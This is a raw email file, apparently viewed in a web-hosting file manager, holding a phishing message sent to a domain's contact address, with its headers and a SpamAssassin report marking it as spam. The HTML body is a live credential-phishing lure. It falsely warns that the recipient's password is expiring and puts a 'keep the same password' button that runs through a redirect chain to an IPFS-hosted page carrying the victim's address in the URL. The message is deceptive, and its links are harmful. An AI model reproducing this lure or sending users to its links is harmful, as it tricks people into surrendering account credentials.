OwlCyberSecurity - MANAGER
Edit File: 1738287806.M348062P3601447.premium128.web-hosting.com,S=9198,W=9349:2,
Return-Path: <sales@globalhawk.co.jp> Delivered-To: contact+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id gFZ+FL4qnGcn9DYAAvhI2g (envelope-from <sales@globalhawk.co.jp>) for <contact+spam@gourayafroid.com>; Thu, 30 Jan 2025 20:43:26 -0500 Return-path: <sales@globalhawk.co.jp> Envelope-to: contact@gourayafroid.com Delivery-date: Thu, 30 Jan 2025 20:43:26 -0500 Received: from [36.212.131.154] (port=59007 helo=globalhawk.co.jp) by premium128.web-hosting.com with esmtp (Exim 4.96.2) (envelope-from <sales@globalhawk.co.jp>) id 1tdg40-00FMXN-2x for contact@gourayafroid.com; Thu, 30 Jan 2025 20:43:26 -0500 From: gourayafroid.com <sales@globalhawk.co.jp> To: contact@gourayafroid.com Date: 31 Jan 2025 09:42:07 +0800 Message-ID: <20250131094206.2F7A17FD014A5F10@globalhawk.co.jp> MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=5.5 X-Spam-Score: 55 X-Spam-Bar: +++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: gourayafroid.com Your contact@gourayafroid.com password is about to expire (Action Required) You must take immediate steps to maintain and avoid restricting access to your gourayafroid.com account keep the same password Content analysis details: (5.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: bafybeidoz4j7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dweb.link] 0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL blocklist [URIs: bafybeidoz4j7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dweb.link] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [36.212.131.154 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [36.212.131.154 listed in bl.score.senderscore.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background 0.0 T_MXG_EMAIL_FRAG URI with email in fragment 0.0 URI_DWEBIPFS References Interplanetary File System PtP content via dweb.link, likely phishing 0.0 T_PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.0 URI_IPFS References Interplanetary File System PtP content, probable phishing 0.2 PDS_FRNOM_TODOM_DBL_URL From Name to domain, double URL 0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text 0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only X-Spam-Flag: YES Subject: ***SPAM*** Password Notifications - Take Action Now <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.= w3.org/TR/html4/loose.dtd"> <HTML><HEAD> <META name=3DGENERATOR content=3D"MSHTML 11.00.9600.21615"></HEAD> <BODY style=3D"MARGIN: 0.5em"> <P style=3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Roboto, s= ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FO= NT-WEIGHT: 400; COLOR: rgb(36,36,36); FONT-STYLE: normal; ORPHANS: 2; WIDOW= S: 2; MARGIN-TOP: 0px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,25= 5,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps= : normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initia= l; text-decoration-style: initial;=20 text-decoration-color: initial" align=3Dcenter><SPAN style=3D"BOX-SIZING: b= order-box; FONT-FAMILY: Arial"><SPAN style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder"><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 23pt"><SP= AN style=3D"BOX-SIZING: border-box; COLOR: rgb(238,97,17)"><SPAN style=3D"B= OX-SIZING: border-box; FONT-SIZE: 25pt">gourayafroid.com</SPAN><BR style=3D= "BOX-SIZING: border-box"></SPAN></SPAN><BR style=3D"BOX-SIZING: border-box"= ></SPAN></SPAN></P> <P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto, s= ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FO= NT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; ORPHANS: 2; WIDOW= S: 2; MARGIN-TOP: 0px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,25= 5,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps= : normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initia= l; text-decoration-style: initial;=20 text-decoration-color: initial" align=3Dcenter><SPAN style=3D"FONT-SIZE: sm= all; FONT-FAMILY: Arial, Helvetica, sans-serif; COLOR: rgb(34,34,34)"><FONT= size=3D3>Your contact@gourayafroid.com password is about to expire (Action= Required) You must take immediate steps to maintain and avoid restricting = access to your gourayafroid.com account</FONT></SPAN> <BR></P> <P style=3D"BOX-SIZING: border-box; MARGIN-BOTTOM: 0px; FONT-SIZE: 14px; FO= NT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT= -TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); PADDING-BOTTOM: 2= 0px; FONT-STYLE: normal; TEXT-ALIGN: center; PADDING-TOP: 20px; PADDING-LEF= T: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN-TOP: 0px; LETTER-SPACING: normal; PAD= DING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font= -variant-ligatures: normal; font-variant-caps:=20 normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;= text-decoration-style: initial; text-decoration-color: initial"> <A title=3D"Read Fax" style=3D"BOX-SIZING: border-box; BACKGROUND: rgb(227,= 96,9); COLOR: rgb(255,255,255); PADDING-BOTTOM: 11px; PADDING-TOP: 11px; PA= DDING-LEFT: 24px; PADDING-RIGHT: 24px; text-decoration-line: none" href=3D"= https://ad.doubleclick.net/ddm/trackclk/N4892.5020.4774291382421/B23999293.= 271539123;dc_trk_aid=3D466016770;dc_trk_cid=3D131101292;dc_lat=3D;dc_rdid= =3D;tag_for_child_directed_treatment=3D;tfua=3D?https://drathaysavelino.com= =2Ebr/rope/redirect.php#contact@gourayafroid.com" rel=3Dnoreferrer target= =3D_blank=20 data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://bafybeidoz4j= 7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dweb.link/%23bonn@cybe= r.net.pk&source=3Dgmail&ust=3D1738362358482000&usg=3DAOvVaw0l9P= 63umwXlF4C-mG-EVMF">keep the same password</A> <SPAN style= =3D"BOX-SIZING: border-box; COLOR: rgb(227,96,9)"> </SPAN= ></P> <P style=3D"BOX-SIZING: border-box; MARGIN-BOTTOM: 0px; FONT-SIZE: 14px; FO= NT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT= -TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); PADDING-BOTTOM: 2= 0px; FONT-STYLE: normal; TEXT-ALIGN: center; PADDING-TOP: 20px; PADDING-LEF= T: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN-TOP: 0px; LETTER-SPACING: normal; PAD= DING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font= -variant-ligatures: normal; font-variant-caps:=20 normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;= text-decoration-style: initial; text-decoration-color: initial"><FONT size= =3D3><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: = Arial, Helvetica, sans-serif; COLOR: rgb(34,34,34)">Issues discovered in th= e claims fulfillment system will no longer be investigated or fixed.© = gourayafroid.com</SPAN> <SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial= , Helvetica, sans-serif; COLOR: rgb(34,34,34)"> </SPAN><SPAN style=3D"= BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sa= ns-serif; COLOR: rgb(34,34,34)">2025</SPAN></FONT></P></BODY></HTML>